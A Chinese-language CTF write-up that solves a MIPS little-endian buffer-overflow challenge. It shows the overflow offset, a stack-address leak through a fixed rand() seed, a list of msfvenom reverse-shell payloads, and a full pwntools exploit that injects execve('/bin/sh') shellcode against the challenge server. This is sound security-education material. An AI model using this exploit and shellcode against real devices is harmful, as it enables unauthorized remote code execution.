题目: https://dn.jarvisoj.com/challengefiles/add.1f54e2c8b9396f83a4be2632bcb3a5f5
这是2016全国大学生信息安全竞赛的一个题,是MIPSEL(小端的)
qemu虚拟机可以在这里下
https://people.debian.org/~aurel32/qemu/mipsel/
启动:
qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -redir tcp:22::22 -redir tcp:11000::11000 -redir tcp:11001::11001 -redir tcp:11002::11002 -redir tcp:1717::1717 -nographic
环境:
apt-get update apt-get install build-essential gdb socat
或者使用配置好的qemu虚拟机
https://mega.nz/#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA
先查看保护措施
root@debian-mipsel:~/ctf/uctf# checksec --file add
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH Error: libc not found.
这个MIPS实际上是硬件上不支持NX的,所以这里开了也没有用所以可以直接执行shellcode
这个代码一开始还是比较难看的,但是misp应该不会太难
下面这个的输入没有长度限制,应该存在缓冲区溢出
生成200个字节
pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
因为要退出才会回到返回地址所以要退出
Starting program: /root/ctf/uctf/add
[calc]
Type 'help' for help.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab 1
Error!
Input 2 numbers just like:
1 2
0 + 1 = 1
exit
Exiting...
之后便可以看到$ra(这个是储存返回地址的)
$ra : 0x62616164 ("daab"?)
看下偏移,这个我们是112,因为是小端
pattern offset 0x62616164
[+] Searching '0x62616164'
[+] Found at offset 112 (little-endian search) likely
[+] Found at offset 304 (big-endian search)
大小端这个通过看内存就可以判断了
x /8bx 0xxxxxxxx
还有一个问题就是要么我们能得到栈上的地址,要么找类似于x86是的jmp esp
但是用IDA的mipsrop插件找不到,没栈地址还是用不了
Python>mipsrop.find("")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00400658 | lw $ra,arg_1C($sp) | jr arg_1C($sp) |
| 0x00400758 | lw $ra,0x30+var_4($sp) | jr 0x30+var_4($sp) |
| 0x00400834 | lw $ra,0x30+var_4($sp) | jr 0x30+var_4($sp) |
| 0x00400ADC | lw $ra,0x98+var_4($sp) | jr 0x98+var_4($sp) |
| 0x00400C54 | lw $ra,0x38+var_4($sp) | jr 0x38+var_4($sp) |
| 0x00400CC4 | lw $ra,0x28+var_4($sp) | jr 0x28+var_4($sp) |
| 0x00400DDC | lw $ra,0x1C($sp) | jr arg_1C($sp) |
----------------------------------------------------------------------------------------------------------------
Found 7 matching gadgets
所以应该还有其他东西,这个我们没看到输出,根据汇编是跟$4比较相等才来printf这里
我们上去看看4,而4刚好是sprintf的第一个参数,即对rand返回值格式化的结果
而且srand的种子固定,那就可预测,我们编写程序
#include "stdio.h"
#include "stdlib.h"
int main(int argc, char const *argv[])
{
srand(0x123456);
printf("%d\n", rand());
return 0;
}
编译运行
# gcc -o rand ./rand.c
# ./rand
2057561479
我们看看是不是
在内存确定这个是不是我们栈上buf的基址
x /s 0x7fffeb1c
0x7fffeb1c: "2057561479"
果然,那么有了偏移,有了栈地址,就可以写代码了
shellcode的生成就用msf,有个坑就是msf这里把mipsel叫mipsle(其实我觉得le好记点,little ending嘛)
可以先看看有什么payload
➜ ~ msfvenom -l payloads | grep "mipsle"
linux/mipsle/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes as well as on targets with extremely limited buffer space.
linux/mipsle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/mipsle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes.
linux/mipsle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/mipsle/shell_bind_tcp Listen for a connection and spawn a command shell
linux/mipsle/shell_reverse_tcp Connect back to attacker and spawn a command shell
我将shellcode放后面,调试可以到达shellcode,但是执行失败
gef➤ x /20i 0x7f9a607c
0x7f9a607c: li a2,1638
0x7f9a6080: bltzal a2,0x7f9a6080
0x7f9a6084: slti a2,zero,-1
0x7f9a6088: addiu sp,sp,-32
0x7f9a608c: addiu a0,ra,4097
0x7f9a6090: addiu a0,a0,-4065
0x7f9a6094: sw a0,-24(sp)
0x7f9a6098: sw zero,-20(sp)
0x7f9a609c: addiu a1,sp,-24
0x7f9a60a0: li v0,4011
0x7f9a60a4: syscall 0x40404
0x7f9a60a8: 0x6e69622f
0x7f9a60ac: 0x68732f
0x7f9a60b0: 0x7f9a6070
0x7f9a60b4: 0x41414141
0x7f9a60b8: 0x41414141
0x7f9a60bc: 0x41414141
0x7f9a60c0: 0x41414141
0x7f9a60c4: 0x41414141
0x7f9a60c8: 0x41414141
gef➤ x /s 0x7f9a60a8
0x7f9a60a8: "/bin/sh"
调试过程发现shellcode的sw指令将字符串/bin/sh改了
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:mips:3000 ]────
0x7f9a6080 bltzal a2, 0x7f9a6080
0x7f9a6084 slti a2, zero, -1
0x7f9a6088 addiu sp, sp, -32
0x7f9a608c addiu a0, ra, 4097
0x7f9a6090 addiu a0, a0, -4065
0x7f9a6094 sw a0, -24(sp)
→ 0x7f9a6098 sw zero, -20(sp)
0x7f9a609c addiu a1, sp, -24
0x7f9a60a0 li v0, 4011
0x7f9a60a4 syscall 0x40404
0x7f9a60a8 0x7f9a60a8
0x7f9a60ac 0x68732f
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "add", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7f9a6098 → sw zero, -20(sp)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Watchpoint 2: *0x7f9a60a8
Old value = 0x6e69622f
New value = 0x7f9a60a8
0x7f9a6098 in ?? ()
但是shellcode在偏移8的位置则没有改变这个字符串,不知为啥,最终shellcode
如果放在后面的话,shellcode是会被破坏掉的
最终payload
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-12-29 23:02:48
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :
from pwn import *
context.log_level = "debug"
REMOTE = 1
if REMOTE:
# p = remote("127.0.0.1", 10000)
p = remote("pwn2.jarvisoj.com", 9889)
else:
p = process("./add")
shellcode = ""
shellcode += "\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0"
shellcode += "\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff"
shellcode += "\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02"
shellcode += "\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"
def leakStack():
p.recvuntil("Type 'help' for help.\n")
num = 2057561479
p.sendline(str(num))
p.recvuntil("Your input was ")
leak = int(p.recvuntil("\n")[:-1], 16)
print "input addr = " + hex(leak)
return leak
leak = leakStack()
# payload = "\x00" * 112
# payload += p32(leak + 116)
# payload += shellcode + " 2"
# p.sendline(payload)
offset = 8
payload = "A" * offset + shellcode
payload += "\x00" * (112 - len(payload))
payload += p32(leak + offset)
payload += " 1"
p.sendline(payload)
p.recvuntil("1 2\n")
p.sendline("exit")
p.recvuntil("Exiting...")
p.interactive()